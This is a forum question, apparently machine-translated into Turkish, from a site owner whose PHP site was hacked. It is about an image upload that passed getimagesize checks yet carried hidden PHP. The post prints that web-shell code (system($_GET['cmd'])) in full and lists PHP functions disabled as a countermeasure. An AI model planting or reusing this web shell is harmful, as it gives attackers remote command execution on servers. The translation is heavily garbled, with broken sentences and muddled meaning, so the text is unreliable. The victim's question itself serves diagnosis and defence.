Benim php sitesi görüntü olarak yüklendiği kodları tarafından hacklendi ..?

0 Cevap php

Dün benim site oluşuyordu. Saldırgan (tüm zafer mesajları ve selamlıyorum) kendi için index.php dosyasını değiştirir. Ben (biz adanmış bir sunucu üzerinde çalışan) bu konuda hosting şirketi haberdar ettik, ve ben hala tam olarak nasıl yaptığını işaret alamıyorum çünkü benim açımdan, ben, neden gibi görünüyor şey düzeltmek için çalışıyorum bizim Sunucu saldırdı, ama ben belki suçlu olabilir, belirli bir script tabanlı boşluklar buldum edildi.

Sitemiz bir görüntü aktarıcı formu vardır, ama onlar gerçekten php getimagesize fonksiyonunu kullanarak görüntü dosyası değil, bazı kodlar eğer tüm yüklenen görüntüler doğrulanır. Görüntü tipi IMAGETYPE_GIF veya IMAGETYPE_JPEG veya IMAGETYPE_PNG yalnızca onlar kabul edilecektir. Else, onlar dosya upload etmek mümkün olmayacaktır. Ancak ben bir tarih görüntü dosyası içindeki bir php script içerdiğini öğrendim! Sen görüntü indirebilirsiniz here. Bu, geçerli bir resim dosyası var, ama herhangi bir metin düzenleyicisi kullanarak ve bunun içinde bir php kodu bulacaksınız görüntüyü açmayı deneyin:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

Örneğin, görüntü bu konuma (www.mysite.com / yüklenenler / picodes.jpg) yüklenir. Bu klasör yüklemeler 'izni 755 not alın. Başka aynı kod yukarıdaki gibi gizli olan görüntü, ancak bunun yerine sistemi öğrendim beri dünyanın saldırgan, sistemin (veya passthru gibi herhangi bir başka komutu herhangi bir yolu var mı , o yazarak, sadece örneğin tarafından,) passthru komutu vardır www.mysite.com/uploads/picodes.jpg?cmd=some command? Saldırgan php için jpg dosyasını yeniden adlandırın sürece benim bilgisinden o, (birisi beni yanlış kanıtlayabilirim eğer gerçekten takdir) yapılamaz, ve hatta, bu kodlar derin görüntü içinde gizli (iç görüntüyü görmek lütfen Ben söylemeye çalışıyorum ne olduğunu anlamak için bir metin editörü)

Önlemler için, ben php.ini içindeki kapatmalısınız bunları ekleyerek özürlü bu php fonksiyonlarını (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, sistemi) var.

Neyse ben hala Saldırgan web üzerinden değil erişmek olduğunu düşünüyorum, ama sunucu üzerinden istismar, ama benim hosting şirketi aksi düşünüyor.

Thanks a lot!

0 Cevap